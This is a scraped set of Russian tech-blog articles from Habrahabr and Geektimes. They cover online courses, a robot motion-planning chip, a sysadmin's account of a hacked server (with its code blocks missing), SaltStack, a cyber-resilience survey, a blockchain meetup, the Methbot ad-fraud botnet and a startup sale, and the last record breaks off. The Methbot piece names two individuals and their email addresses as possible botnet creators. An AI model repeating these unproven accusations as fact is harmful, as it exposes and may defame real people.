C 5 по 15 декабря наш отдел образования Mail.Ru Group открыл в режиме без сроков и дедлайнов еще несколько курсов, записанных на платформе Stepik по мотивам занятий в Технопарке . Их можно проходить в удобном для вас режиме без риска потерять баллы. Даже занимаясь не спеша, у вас будет шанс получить сертификат с высокой оценкой. С 5 декабря в открытом доступе появились следующие курсы: Многопоточное программирование на C/C++ . В курсе рассматривается принцип многопоточного программирования в контексте разработки сетевых и высоконагруженных систем. Ядром курса является обучение межпроцессному взаимодействию (IPC) и синхронизации потоков. Пройдя курс, вы сможете разработать собственный веб-сервер, который позволит отработать полученные навыки. Hadoop. Система для обработки больших объемов данных . Курс посвящен методам обработки больших объемов данных (BigData) с помощью системы Hadoop. После прохождения курса вы получите знания основных способов хранения и методов обработки больших объемов данных, поймете принципы работы распределенных систем в контексте фреймворка Hadoop и освоите практические навыки разработки приложений, используя программную модель MapReduce. С 15 декабря открыт курс по Web-технологиям , про который мы недавно писали отдельную статью . Кроме того, мы уже писали о том, что у нас представлены в открытом доступе следующие онлайн-курсы: Анализ безопасности веб-проектов — крэш-курс по техникам аудита безопасности веб-проектов. Разработка веб-сервиса на Java, часть 1 и часть 2 , в котором вы сначала изучите основы разработки серверной части веб-приложений, а после разовьете веб-сервер до промышленного уровня. Если курсов слишком много, а времени на это не так много, то вы можете пройти тест на тему того, какой из курсов вам подходит больше всего! На самом деле, этот тест — часть нашего совместного проекта с Newtonew для молодых специалистов, но он может помочь определиться и опытным разработчикам. Но слишком доверять ему не стоит. Так или иначе, приглашаем поучаствовать !
https://habrahabr.ru/company/mailru/blog/318116/
habrahabr
Ученые разработали чип для планирования движения роботов в реальном времени
['робототехника', 'планирование движения', 'процессор']
Если вы когда-нибудь наблюдали за тем, как работают демо-версии роботов, то наверняка замечали, что робот может надолго «зависать», прежде чем продолжить движение. Можно подумать, что таким...
Если вы когда-нибудь наблюдали за тем, как работают демо-версии роботов, то наверняка замечали, что робот может надолго «зависать», прежде чем продолжить движение. Можно подумать, что таким образом робот размышляет над тем, в какой момент и по какой траектории двигаться. Это предположение недалеко от истины: в этот момент процессор обрабатывает операции планирования движения, что зачастую отнимает много времени. Исследователи из университета Дьюка нашли способ ускорить планирование движения роботов в три раза при использовании одной двадцатой мощности, требуемой для этого сегодня. В основе их решения лежит специализированный процессор, который может выполнять наиболее трудоемкую часть работы – проверку всех возможных столкновений во всем диапазоне движения робота – с высокой эффективностью. Планирование движения, например, для роботизированной руки в первую очередь предполагает создание вероятностной маршрутной карты. Она представляет собой график, состоящий из точек в свободном от препятствий пространстве с линиями-ребрами, соединяющими эти точки таким образом, чтобы каждое перемещение между ними не приводило к столкновению. По факту планировщик движения выбирает начальную и конечную точку на графике, а затем определяет наиболее эффективный способ перемещения, чтобы попасть из одной точки в другую. Алгоритмы планирования движений ищут оптимальный путь от одной точки к другой, который позволяет избегать препятствий (слева). Вероятностная маршрутная карта с ребрами, соединяющими точки в свободном пространстве (справа). В теории звучит достаточно просто, но на практике нужно учитывать тот факт, что вы работаете с роботизированной рукой. И когда кисть движется из одной точки в другую, предплечье может столкнуться с препятствием. Область, в которой перемещается рука робота, называется «рабочим объемом». Рабочий объем — пространство, в котором робот меняет свое положение из одной позиции в другую. Результаты исследования показали, что на обнаружение препятствий уходит более 99% процентов вычислительного времени. Предварительные вычисления производятся тогда, когда робот настроен. Вы создаете одну карту, которая состоит примерно из 150 тысяч ребер, описывающих возможные траектории движения робота, избегая при этом само-столкновений и столкновений с вещами, которые не изменяют своего положения, например, полом. 150 тысяч ребер – это слишком много для прототипа системы команды университета Дьюка. Более разумное число приближено к 1000, поэтому исследователи должны были найти способ, чтобы сократить их число. Чтобы ускорить и упростить весь процесс, исследователи сначала смоделировали около 10 тысяч сценариев с разным количеством случайно расположенных препятствий разного размера, и затем проверили, какие ребра на карте используются системой для планирования движения. Редко используемые ребра удалялись с карты. После нескольких итераций сокращения и перепроверки результатов в одном примере количество ребер оказалось меньше тысячи. При этом, сокращение никак не повлияло на возможности решить две главные проблемы планировщика движения – медленную скорость обработки и высокое энергопотребление. Ограничить количество ребер на карте до какого-то приемлемого значения очень важно, поскольку ограничены возможности процессора, который обрабатывает операции планирования. В данном случае процессор – программируемая логическая интегральная схема ( ПЛИС ) – запрограммирован с массивом схем обнаружения столкновений, каждая из которых соответствует одном ребру на карте. Таким образом размер карты ограничен количеством таких схем, которые могут поместиться на ПЛИС – максимум несколько тысяч. Технология ученых из университета Дьюка работает путем разбивки рабочего пространства на тысячи вокселей. Затем алгоритм определяет, заложена ли в одном из вокселей заранее запрограммированная траектория движения объекта. Благодаря ПЛИС технология проверяет тысячи маршрутов одновременно, а затем сшивает кратчайший путь, используя оставшиеся безопасные варианты. Роботу остается только исполнить его. На выходе ученые получили значительное ускорение: независимо от того, сколько ребер на карте, скорость обработки всей карты у ПЛИС составила 50 наносекунд на один пиксель. В одном особенно сложном примере обработка заняла чуть больше 0,6 мс. Планировщик, который работал на основе четырехъядерного процессора Intel Xeon с тактовой частотой 3,5 гигагерц справился с этой задачей за 2,738 мс. Обычные процессоры потребляют около 200-300 Вт электроэнергии во время планировки движения, а разработка ученых из университета Дьюка – менее 10 Вт. Сейчас промышленные роботы не используют планировщиков движения. Когда речь идет, например, о конвейерной сборке автомобилей с помощью роботов, окружающая среда планируется таким образом, что роботы могут слепо повторять одни и те же движения снова и снова. У них попросту нет возможности ошибиться: части автомобиля каждый раз оказываются в одном и том же месте, и роботов держат в специальных боксах, отгораживающих их от людей. Но если робот будет использовать алгоритмы планирования движения в реальном времени, ему не смогут помешать ни блуждающие мимо люди, ни сбой в работе конвейера – роботы с привычной точностью будут выполнять свою работу. Планирование движения в реальном времени экономит время и затраты на инжиниринг окружающей робота среды. Ученые изучали технологию планирования в течение 30 последних лет, и последние достижения позволяют создать усовершенствованный план движения за несколько секунд. Существующие подходы, за некоторыми исключениями, опираются на возможности центральных процессоров или более скоростных, но и более энергозатратных графических процессоров. По мнению ученых, центральный процессор хорош в решении разных типов задач, но он не может конкурировать с процессором, специально разработанным только для одной конкретной задачи. Динеш Маноча, профессор университета Северной Каролины в Чапел-Хилл , который работает над планировщиком движения в режиме реального времени на графических процессорах согласен с тем, что ПЛИС обладает серьезным потенциалом увеличить эффективность планирования движения. Он уверен, что разработка ученых найдет свое практическое применение в ближайшем будущем: роботы все чаще используются в новых, неопределенных условиях, роль планирования движения со временем будет только увеличиваться. Стартап Realtime Robotics будет коммерциализировать технологию ученых. В рамках этого проекта ПЛИС заменят на специализированные интегральные схемы ( ASIC ), которые могут объединить более 100 тысяч ребер. Такой апгрейд позволит роботам работать в самых разнообразных средах.
https://geektimes.ru/post/283900/
habrahabr
Опыт работы со взломанным сервером
['взлом', 'безопасность', 'администрирование linux-систем']
Хочу поделиться своим опытом начинающего системного администратора. Так уж случилось, что мой первый блин комом — это было предложение заняться инфраструктурой в одной маленькой компании....
Хочу поделиться своим опытом начинающего системного администратора. Так уж случилось, что мой первый блин комом — это было предложение заняться инфраструктурой в одной маленькой компании. Ситуация сложная. Никакой автоматизации, все вручную и по принципу: работает — не трогай, а если не работает и никто не заметил, то считай, что работает. Предыдущий сотрудник не оставил почти никакой документации. Вот доступ к серверам, кофемашина — там, вроде всё… Опыт первый: маленькие симптомы большой проблемы Было решено начать с инвентаря. Всё размещено у крупного публичного оператора: по нескольку виртуальных машин на арендованный сервер с предустановленным гипервизором Xen: Эксперты могут со мной не согласится, но я нахожу KVM гораздо удобнее Xen для элементарной виртуализации инфраструктуры маленьких предприятий. Xen может привлечь тех, кто предпочитает графический интерфейс управления. Но, к сожалению, возможности данного графического интерфейса довольно ограниченны, а интерфейс управления командной строки Xen сильно уступает по своей простоте KVM/QEMU в случае, если надо зайти за рамки стандартных манипуляций виртуальных машин. Но похоже, что данный вопрос не особо волновал моего предшественника, управлявшего системами с наименьшим приложением усилий. Как оказалось, всё было установлено по умолчанию, а именно: сервера работали на устаревшей Ubuntu 12.4 LTS, вместо привычных для таких целей Debian. В наставники мне определили программиста, заменявшего уволившегося сисадмина. Вместе мы полезли разбираться с диаграммой развертывания хозяйства на серверах предприятия. Тут следует сказать, что любой сисадмин, в душ е , должен быть немного детектив. Нужно уметь замечать малейшие аномалии, за которыми могут скрываться большие проблемы. В данном случае мое внимание привлекли странные файлы с привилегией root. “Наверное нас хакнули”, пожал плечами коллега, не приняв мое беспокойство всерьез. Простых подозрений было недостаточно, и мы решили пока ничего особенного не делать. Архивируем подозрительные файлы, меняем пароль пользователя и продолжаем инвентарь. Опыт второй: не злите злых хакеров А если разозлили, то готовьтесь к последствиям. “Что-то с сервером…”, наверное одно из самых неприятных сообщений, которое может получить системный администратор по пути на работу. Особенно, если речь идёт о новой работе. Ускоряя шаг, проверяем ситуацию с телефона: Придя на работу, натыкаемся на комитет из взволнованных сотрудников. Ситуация критическая. Сервер недоступен, но доступен его гипервизор через Xen. Становится ясно, что сервер работает, но полностью утеряна связь с Интернет: Значит, проблема в маршрутизации. Лезем к оператору: Заодно находим саму проблему: Ну, теперь уж точно: сомнений нет — нас взломали! И похоже, что взломщик, огорченный нашей предыдущей интервенцией, решил, раз его обнаружили — терять уже нечего и использовал наш сервер для сетевой атаки. Ладно, зато теперь мне разрешат настроить всё по-своему. Первым делом — файрвол: Далее, меняем всем пароли: Сохраняем и трём ключи ssh. Позже попросим всех пользователей генерировать новые. Сохраняем, для сравнения: чтобы особенно ленивые пользователи не могли использовать старый, возможно скомпрометированный доступ: И, кстати, больше никакого доступа с паролем: только ключи ssh! Теперь нас никто не застанет врасплох. Устанавливаем слежку за теми, кто входит в систему. Для этого добавляем в /etc/pam.d/sshd исполнение простого скрипта нотификации (loginlog): А также подглядываем за ключами: Hу и под конец, можно установить auditd — это демон, способный отслеживать всё, что происходит на сервере. Для этого достаточно двух строк в /etc/audit/audit.rules: На сегодня всё. Пишем сотрудникам о том, что в городе новый шериф об изменениях по соображениям безопасности. А завтра постараемся внедрить Nagios или даже начать переезд на Debian. Надеюсь, взломщик больше не пройдет. Или пройдет?
https://habrahabr.ru/post/318126/
habrahabr
Инструменты DevOps: Чем хорош SaltStack, и какие задачи с его помощью можно решить
['devops', 'saltstack']
В нашем блоге на Хабре мы продолжаем рассказывать о построении DevOps-культуры в компании — ранее мы описывали созданную нами систему Continuous Integration, а также механизм публикации и...
В нашем блоге на Хабре мы продолжаем рассказывать о построении DevOps-культуры в компании — ранее мы описывали созданную нами систему Continuous Integration , а также механизм публикации и лицензирования софта . Сегодня же речь пойдет о выборе системы управления окружением, а также доставкой и развертыванием софта на серверах. В чем проблема Для лучшего понимания используемой нами иерархии, можно представить ее как микс type3 и type5 по этой классификации. У нас своя разработка, свои сервисы, мы предоставляем их другим, командам, а «железную» часть нам поставляют OPS. Исторически в нашей компании подход к автоматизации процессов носил несколько хаотичный характер. При возникновении потребности автоматизировать то или иное типовое действие на свет часто рождались костыли, то есть мы писали множество собственных скриптов для выполнения действий вроде клонирования виртуальных машин и установки на них софта. Так не могло продолжаться вечно — с ростом компании и количества ее продуктов мы встали перед необходимостью создания более надежного решения по автоматизации типовых действий и подготовки окружения к работе используемых сервисов. Стало ясно, что нам понадобится специализированная платформа автоматизации, с помощью которой можно будет решить поставленные задачи. Мы выбирали из трех вариантов — Puppet, Ansible и SaltStack. Что и почему мы выбрали В итоге предпочтения распределились следующим образом: Puppet , несмотря на всю свою популярность, у нас «не пошел» — главная причина в использовании Ruby, тогда как мы в компании предпочитаем Python. Кроме того, входной порог для старта работы с продуктом был достаточно высоким из-за сложной логики описания сценариев развертывания окружения. Ansible был не таким монструозным, как Puppet, с ним было гораздо легче разобраться. Не подошел из-за отсутствия клиента — пробовали его до выхода второй версии). SaltStack — стал самым удобным для нас вариантом. Возможность выбирать между режимами работы (master-minion, masterless, ssh), возможность хранения истории произведенных операций в удобном формате. И благодаря тому, что у нас в компании есть значительная экспертиза в области Python, мы можем быстро писать свои собственные модули, это значительно расширяет возможности системы. Рассмотрим архитектуру системы. В терминологии SaltStack сервер системы называется мастером (master), а клиент — миньоном (minion). В качестве транспортного протокола система использует технологию постоянного шифруемого соединения ZeroMQ — при исполнении большого количества сценариев это дает ощутимый прирост в скорости. В стадии разработки находится альтернативный транспорт RAET . Мы им не пользовались, если у вас есть советы\предостережения по нему, рады будем увидеть их в комментариях. Здесь и далее изображения взяты из официальной документации SALTSTACK COMPONENTS Grains — единица информации о системе, например IP-адрес. Местный аналог facts у Ansible и Puppet. Стейты (state files) — аналог playbooks в Ansible. В них с помощью state.modules , описывается, к какому состоянию нужно привести миньона. Кроме того в SaltStack существует понятие top-файла . Это, по сути, словарь, который помогает удобно группировать миньонов по некоторым атрибутам и указать, какие стейты или роли (если вы пользуетесь ролевой моделью) исполнить. Для каждой среды (dev, test, prod) может быть свой top-файл. Также в системе есть хранилище защищенных с точки зрения передачи данных ( Pillar ) и секретной информации вроде паролей — использование этого механизма предотвращает ошибки, при которых информация о логинах и паролях может быть случайно «залита» не туда. В роли источника информации может выступать любой из модулей . Для каждой среды (dev, test, prod) может быть свой pillar-файл. Execution Modules — можно сравнить с Ansible в режиме ad-hoc. Нужны для ручной работы с агентами. Часто вниманием обделяют Salt Mine , который, в отличии от «грейнов», может обновляться в произвольный интервал. Инструмент позволяет использовать grains одного миньона в момент исполнения стейта на другом. В статье SaltStack: Создание зависимых или ссылающихся конфигураций сервисов , хорошо описан кейс. У автора (@ eugenechepurniy ), есть и другие статьи по SaltStack. Salt Returners — по-умолчанию результат исполнения на миньонах возвращается к «мастеру». Returner позволяют переопределить этот output. Полный список «ретернеров» . Еще одна полезная возможность, отсутствующая в других популярных SCM-системах — это Reactor . Этот модуль выступает в качестве «слушателя», который фильтрует тегированные сообщения и инициализирует какие-то действия по этому поводу. SaltStack может работать и без агента — по SSH. Недавно на хабре выходила статья с примерами его использования. В официальной документации есть прекрасные step-by-step уроки по использованию системы. Рекомендую начать с SaltStack Fundamentals Где мы используем SaltStack Мы в Positive Technologies решаем с помощью SaltStack следующие задачи: настройка build-агентов; настройка мониторинга; подготовка тестового окружения; управление контейнерами; доставка лицензий (продуктов компании); доставка обновлений (продуктов компании); управление циклом жизни VM. Конечно, есть у SaltStack и некоторые минусы. Например, очень тяжелая документация, в которой трудно сходу разобраться, а также любовь разработчиков к созданию совершенно новых терминов-аналогов для привычных в других системах вещей (те же миньоны вместо клиентов). Выбор SCM подобен выбору редактора. У каждой компании свои потребности. Рекомендуем попробовать несколько вариантов и выбрать “свой”, который будет покрывать ваши хотелки. P. S. Рассказ о нашем опыте использования SaltStack был представлен в рамках DevOps-митапа, который состоялся недавно в Москве. По ссылке представлены презентации 16 докладов, представленных в ходе мероприятия. Все презентации и видео выступлений будут добавлены в таблицу в конце этого топика-анонса . Автор : Дмитрий Мирошниченко
https://habrahabr.ru/company/pt/blog/318128/
habrahabr
IBM и Ponemon Institute: нет, бизнес все еще не готов к кибератакам
['ibm', 'ponemon institute', 'кибератаки', 'информационная безопасность']
Компания IBM с партнером Ponemon Institute довольно долгое время исследовали устойчивость инфраструктуры различных компаний и организаций к кибератакам. Само исследование получило название...
Компания IBM с партнером Ponemon Institute довольно долгое время исследовали устойчивость инфраструктуры различных компаний и организаций к кибератакам. Само исследование получило название «Cyber Resilient Organization» . Результаты получились довольно интересными. Причем мнение о готовности компаний к противостоянию кибератакам высказывали не сторонние эксперты, а ИТ-специалисты самих этих компаний. Так вот, результаты опроса однозначны. 66% респондентов, принявших участие в исследовании в 2016 году, считают, что их организации не готовы к кибератакам и процессу восстановления после них. Лишь 32% опрошенных специалистов сообщили, что у их компаний высокий уровень киберзащиты. В 2015 году аналогичный показатель составлял 35%. Основная проблема в том, что компании не готовы быстро и эффективно реагировать на кибератаки. В 75% организациях вообще отсутствует какой-либо план на случай атаки злоумышленников. Такой план обычно называется Cyber Security Incident Response Plan. В тех организациях, где такой план создан, более половины не пересматривали или обновляли план после изменений в инфраструктуре. Около 41% опрошенных заметили, что сейчас значительно увеличилось время, которое требуется на решение проблем, связанных с проведением кибератаки. В то же время 31% респондентов считает, что в их организациях этот показатель снизился. «Исследование устойчивости предприятий к угрозам кибербезопасности показывает, что в 2016 году организации во всем мире до сих пор не готовы к реагированию и нейтрализации инцидентов, – заявил Джон Брюс, глава и соучредитель Resilient, компании IBM. – Лидеры безопасности могут добиться значительных улучшений, сделав главным приоритетом реагирование на инциденты и сосредоточив внимание на планировании, подготовке и сборе информации». Опрошенные специалисты считают, что т.н. платформа реагирования на инциденты (англ. Incident Response Platform) — это одна из самых эффективных технологий безопасности, помогающая организациям любого типа лучше противостоять атакам киберпреступников. Помогают в этом и дополнительные инструменты, включая идентификацию, аутентификацию, системы обнаружения и предотвращения взломов. Среди причин, мешающих компаниям справиться с последствиями кибератак, эксперты называют именно недостаточное планирование и низкую готовность к таким атакам. Еще значительную роль в этом играет то, что сложность ИТ и бизнес-процессов растет очень быстро. Специалисты по информационной безопасности просто не справляются с таким активным ростом, в результате чего снижается способность компаний предотвращать, обнаруживать и реагировать на кибератаки. В этом году около 46% респондентов назвали увеличивающуюся сложность таких процессов главной причиной отсутствия эффективной информационной защиты бизнеса. Этот показатель вырос до текущего уровня с 36% в прошлом году. Основные выводы исследования Компании подвергаются частым и успешным кибератакам • Больше половины респондентов (53%) пострадали по меньшей мере от одной утечки данных за последние два года; • 74% опрошенных заявили, что в течение последнего года они столкнулись с киберугрозами, причиной которых стал человеческий фактор; • Оценивая последние два года, 74% респондентов сказали, что подвергались многочисленным хакерским атакам, а 64% были неоднократно скомпрометированы с помощью фишинга. Организации не могут обеспечивать непрерывную работу и быстро восстанавливаться после атак • 68% считают, что их организации не способны противостоять кибератакам; • 66% не уверены, что их компания может эффективно восстановиться после атаки. Самым большим барьером является недостаток планирования и подготовки • Только 25% используют план по реагированию на инциденты. 23% вовсе не приняли такого плана; • Лишь 14% респондентов осуществляют ревизию планов реагирования на инциденты чаще одного раза в год; • 66% называют отсутствие планирования самым большим барьером, мешающим их организации стать устойчивой к кибератакам. Способность реагировать на кибератаки существенно не улучшилась • 48% считают, что устойчивость к кибератакам их организации уменьшилась (4%) или не улучшалась (44%) в течение последних 12 месяцев; • 41% респондентов считают, что время устранения инцидента кибербезопасности увеличилось или значительно возросло, в то же время 31% заявили, что оно уменьшилось или существенно снизилось. С текущим исследованием связано еще одно , проведенное недавно IBM Institute for Business Value. Результаты этого исследования продемонстрировали, что снижение времени реагирования на инциденты, связанные с кибербезопасностью — это ключевая задача для ИТ-экспертов. Несмотря на то, что многие это понимают, результаты остаются прежними — компании практически не готовы к отражению кибератак и ликвидации их последствий. Проблемой является и дефицит квалифицированных специалистов. «Компании понимают важность использования плана по реагированию на инциденты, однако вместе с тем все еще ощущается нехватка компетентных специалистов, а также соответствующих процессов и технологий на предприятии», – сказал доктор Ларри Понемон. – Мы рады отметить, что этот вопрос приобретает все большее значение в общей стратегии информационной безопасности компаний». Всего в исследовании IBMи Ponemon Institute приняли участие более 2,4 специалистов ИТ-сферы со всего мира. В том числе, на вопросы авторов исследования отвечали эксперты из США, Великобритании, Бразилии, Австралии, ОАЭ, Франции и других стран.
https://geektimes.ru/company/ibm/blog/283902/
habrahabr
Lightning Network и алгоритм zkSNARK – в четверг состоится очередной Moscow Blockchain Developers Meetup
['waves', 'криптовалюты', 'блокчейн', 'алгоритм', 'протокол']
Уже в этот четверг 22 декабря в 19.00 состоится вторая встреча Moscow Blockchain Developers Meetup. Наш предыдущий митап был посвящен аутентифицированным структурам данных в блокчейн-системах и...
Уже в этот четверг 22 декабря в 19.00 состоится вторая встреча Moscow Blockchain Developers Meetup. Наш предыдущий митап был посвящен аутентифицированным структурам данных в блокчейн-системах и протоколу Bitcoin NG , позволяющему создавать 2 типа блоков и существенно увеличить скорость операций блокчейна. Темы предстоящей встречи – технология Lightning Network и протокол доказательства с нулевым разглашением Zero-knowledge proof . На мероприятии выступят: Александр Панков с темой: «Lightning Network и масштабируемость Bitcoin». Наиболее острая проблема биткоина — это масштабирование. Одним из самых прорывных решений является технология Lightning Network — децентрализованная сеть каналов микроплатежей, позволяющаяпо цепочке каналов передавать биткоины между участниками минуя блокчейн. Технология интересна прежде всего тем, что не просто даёт решение проблеме масштабируемсти, а создаёт по сути новую платформу с неограниченным количеством очень дешёвых транзакций. В докладе также будет затронута проблема активации segwit, и рассмотрены различные сценарии развития ситуации, в том числе и пессимистичный, когда из-за эгоизма отдельных участников, сеть Биткоин будет поставлена под угрозу форка. Александр Гаркуша с докладом: «Zero-knowledge proofs: от простых протоколов до zk-SNARK». Самая технологически сложная валюта Zcash базируется на алгоритме zkSNARK (Succinct Non-Interactive Argument of Knowledge). Разобрать этот алгоритм едва ли представляется возможным без определения базовых понятий, связанных с zero-knowledge proofs: — Полнота, — Корректность протокола, — PZK, — CZK, — SZK, — Симулятор, — Транскрипт. В ходе мероприятия приведенные выше термины будут подкреплены разбором примеров неинтерактивных протоколов, отличий proof of knowledge от argument of knowledge. Отдельно спикер остановится на классических ZK-протоколах (Шнорр, Фиат-Шамир и всех остальных). По окончании доклада каждый сможет прийти домой и рассказать своим близким, не сведущим в теме, что такое доказательства с нулевым разглашением. Количество мест ограничено! Если вы планируете посетить данное мероприятие, просьба поставить «лайк» в нашей группе на Facebook (если вас нет на Facebook, просто приходите).
https://geektimes.ru/company/waves/blog/283904/
habrahabr
Ботнет российского происхождения просматривает рекламы на $3-5 млн в сутки
['Methbot', 'ботнет', 'кликер', 'реклама', 'видеореклама', 'заработок', 'рекламные бюджеты', 'финансы', 'преступность', 'киберпреступность']
В последние годы рекламодатели все чаще и чаще говорят о проблеме блокировщиков рекламы, которые с момента своего появления только набирают популярность и снижают реальный охват рекламных кампаний....
В последние годы рекламодатели все чаще и чаще говорят о проблеме блокировщиков рекламы, которые с момента своего появления только набирают популярность и снижают реальный охват рекламных кампаний. Но почему-то многие перестали упоминать проблему подставных сайтов и ботнетов из кликеров, которые отнюдь никуда не делись, а развитие технологий и сети только привело к увеличению их размеров. Так специалисты по информационной безопасности из White Ops говорят о ботнете Methbot российского происхождения. По их оценкам в него входит не менее полумиллиона фальшивых пользователей и около 250 тыс. подставных веб-сайтов. С полным отчетом можно ознакомиться здесь . Схема работы ботнета Схема заработка Methbot на первый взгляд проста. Подставные веб-сайты участвуют в размещении видеорекламы в рамках соответствующих кампаний, которую потом «просматривают» мертвые души ботнета. Как итог из рекламных бюджетов различных организаций вымывается от 3 до 5 млн долларов ежесуточно. Общий ущерб от деятельности подобных сетей по всему миру оценивается в 7 млрд долларов в год, из которых только на Methbot может приходится от 1,1 до 1,8 млрд, если ботнет будет работать без сбоев и в полную силу. От таких гигантских убытков из-за одного ботнета спасает только то, что Methbot был запущен не так давно — в сентябре этого года. Возможность так легко «отобрать» у рекламодателя деньги дает несовершенство систем, отслеживающих показы рекламы. Маркетологи, работающие в сети, никогда не могут знать до конца, была ли показа их реклама целевой аудитории или кому попало. Плюс мошенничество таких масштабов — совершенно новый уровень, с которым ранее в мире не сталкивались. В целом кликерство и прочие формы «заработка» на рекламодателях является современным бичом веба. По статистике, приводимой Wall Street Journal еще в 2013 году , около половина всех размещаемых в сети объявлений люди вообще никогда не видели. Из-за того, что показывались они ботам (если вообще показывались) с целью наживы. Сейчас кликерство вышло на новый уровень. Авторы Methbot использовали подмену адресов своих подставных сайтов, а ботнет имитировал деятельность пользователей (такие как клик, просмотр страниц) для того, чтобы обмануть рекламные сети и представить свой трафик как белый. В итоге ботнет просматривал по 300 млн рекламных видеороликов в день, генерируя для своих владельцев сверхприбыли. Необходимо отметить, что Methbot наносит прямой ущерб только рекламодателям. Ботнет имеет обширную инфраструктуру, которую долго и тщательно готовили для того, чтобы скрыть природу деятельности сети. Именно подготовка позволила создателям ботнета выйти на такие масштабные махинации с рекламой. Все прочие сети, сопоставимые по прибылью с Methbot, являются, в первую очередь, malware и действуют не так элегантно. Заработки и методы различных ботнетов по оценке White Ops По расследованию специалиста по информационной безопасности Брайана Кребса, к созданию Methbot могут быть причастны два человека. Первый — программист из Санкт-Петербурга Михаил adw0rd Андреев (его полный тезка есть и на Хабре с ГТ ). Его почта adw0rd@pyha.ru несколько раз «засветилась» при поиске владельца ботнета. Также в связи с Methbot заметили почтовый адрес stepanenko.aa@mmk.ru , который принадлежит старшему менеджеру группы поддержки систем управления ИТ (телекоммуникаций) ММК-информсервис (учредитель ОАО «Магнитогорский металлургический комбинат») Алексею Степаненко. Для потенциальных жертв ботнета White Ops опубликовали полный список скомпрометированных IP-адресов , IP-диапазонов , URL и доменов .
https://geektimes.ru/post/283906/
habrahabr
Как за три месяца продать стартап в Facebook
['gotech', 'msqrd']
Евгений Невгень, основатель компании MSQRD, в рамках открытого интервью на Форуме Gotech поделился историей создания бизнеса, который он продал Facebook, и раскрыл секреты формирования команды...
Евгений Невгень, основатель компании MSQRD, в рамках открытого интервью на Форуме Gotech поделился историей создания бизнеса, который он продал Facebook, и раскрыл секреты формирования команды проекта. Все началось с увлечения программированием. В 19 лет первым успешным проектом стал благотворительный аукцион встреч MaeSens (в России он известен как GoodWillion). Мне всегда было интересно, как делать правильный работающий дизайн. И мы с партнером Максимом Каменковым основали компанию SplitMetrics – платформу A/B-тестирования страниц приложений в App Store и Google Play. Буквально через месяц после объявления об открытии компании, нашим клиентом стала Rovio. Все свои проекты с партнерами мы запускаем на Хакатоне, где можно получить быструю обратную связь. Эта стратегия нас никогда не подводила. MSQRD также создавался на Хакатоне. Именно благодаря ему он и появился в таком виде. Тогда мы сделали первую самую упрощенную версию приложения, и людям это очень понравилось. Пришлось пообещать, что через две недели выпустим MSQRD в AppStore. И нам это удалось. Команду проекта я собрал за одну ночь перед Хакатоном – через список друзей в Facebook. Сейчас в ее состав входит 12 человек. Залог этого успеха – быть открытым к общению. В Минске я очень часто проводил конференции, meetup’ы, где собиралось огромное количество инженеров и дизайнеров. Так я со многими познакомился. Очень важно понять, что это был не первый наш продукт. И успех был неслучайным — вся команда работала в режиме постоянного хакатона, а в дни релизов рабочий день длился 20 часов. Важно, что все члены команды находились в офисе и друг друга поддерживали. Вообще в нашей команде были только друзья. До сих пор никто в мире не смог повторить наш алгоритм, созданный одним из основателей MSQRD Женей Затепякиным, – ни по скорости, ни по точности, хотя уже прошло сколько времени и столько людей пытались склонировать продукт. Это говорит о том, какие серьезные инжиниринговые скиллы в основе нашей технологии. Кстати, Женя занимался технологией face tracking в течение 5 лет. В каждый момент времени он проверял, насколько современные смартфоны подходят для его технологии. И, может быть, это удача, что он вывел ее в тот момент, когда мы создали продукт и смартфоны были готовы к ней. Как вы искали деньги? До того, как я искал деньги для MSQRD, у меня был опыт поиска инвестиций для SplitMetrics. И это было намного сложнее, чем с MSQRD. Никто особо не интересовался продуктом или командой, всем нужны были метрики, большие цифры. В тот момент мы их показать не могли, а хорошего инвестора нашли через общих знакомых. Тогда я решил, что буду работать с теми людьми, которые уже создавали свои продукты. Инвестор для MSQRD должен был отвечать двум требованиям: общие знакомые и опыт владения продуктовой компанией. Ожидали такой виральности при запуске MSQRD? По итогу все ведущие знаменитости разместили хотя бы одну фотографию или видео через MSQRD. Естественно, это было не сразу. Мы никогда не платили за посты в социальных сетях. Виральность у нас была в самом продукте. Человеку не нужно было нажимать лишних кнопок. На старте фотографии постили мы, затем просили это делать наших друзей. Потом запостил кто-то из микро-селебрити. На каком-то из этих кругов появились другие знаменитости, одним из них стал ресторатор Аркадий Новиков. Его пост уже растиражировали известные люди в России и СНГ. И после этого пошла волна. Компания с самого начала своего создания работала только в «белую». Мы были постоянно готовы к due dilligence. За три месяца – с момента запуска до продажи — нас поддерживало несколько десятков юристов. Насколько впечатляюще продаться большой компании? Очень важно, какой корпорации продаваться. В целом, жизнь основателя стартапа внутри корпорации сильно отличается. Поэтому необходимо смотреть, кто будет твоим партнером на ближайшие годы. У нас был выбор, Facebook не был единственным вариантом. И в этом плане нам повезло. Мы выбрали Facebook, поскольку это самая динамичная компания. Она больше всех нам напоминала стартап – правда такой уже гигантский стартап. Самое главное в моменты таких сделок понимать, что будет с тобой, твоей командой и твоим продуктом после того, как будут подписаны документы. В Долине в таких случаях членов команды стартапа обычно нанимают на контракт. Так и произошло с нашими сотрудниками. Сейчас в основном они находятся в Минске. Будут ли новые стартапы от Евгения Невгеня? Конечно, да. Я в поиске людей, которые обладают экспертизой, и тех, кто увлечен стартапами. Всегда открыт, общаюсь с людьми, чтобы в нужный момент можно было сделать что-то большое. Вообще, стартапы могут рисковать, у них есть такая возможность, и это главное, что должны делать их основатели. Если бы мы были какой-то корпорацией, то никогда не создали бы маску Ди Каприо. Важно помнить, что ничего никогда не получается с первого раза. Увлеченность проектами – это ключ к успеху. Провал в проекте – это возможность заняться чем-то новым и проверить новую идею. Данная публикация основана на видеозаписи выступления Евгения Невгеня, размещенной в официальном аккаунте Gotech на Youtube.
https://habrahabr.ru/company/gotech_vc/blog/318134/
habrahabr
Декабрьский релиз ReSharper Ultimate 2016.3
['resharper', 'dotmemory', 'dotpeek', 'dotcover', 'dottrace', 'resharper c++', 'jetbrains', 'профилирование', '.net']
Привет, хабр! Больше года мы не делились здесь новостями о релизах в семействе инструментов ReSharper Ultimate. Это не значит, что работа встала, напротив: ее было много. Читатели нашего...
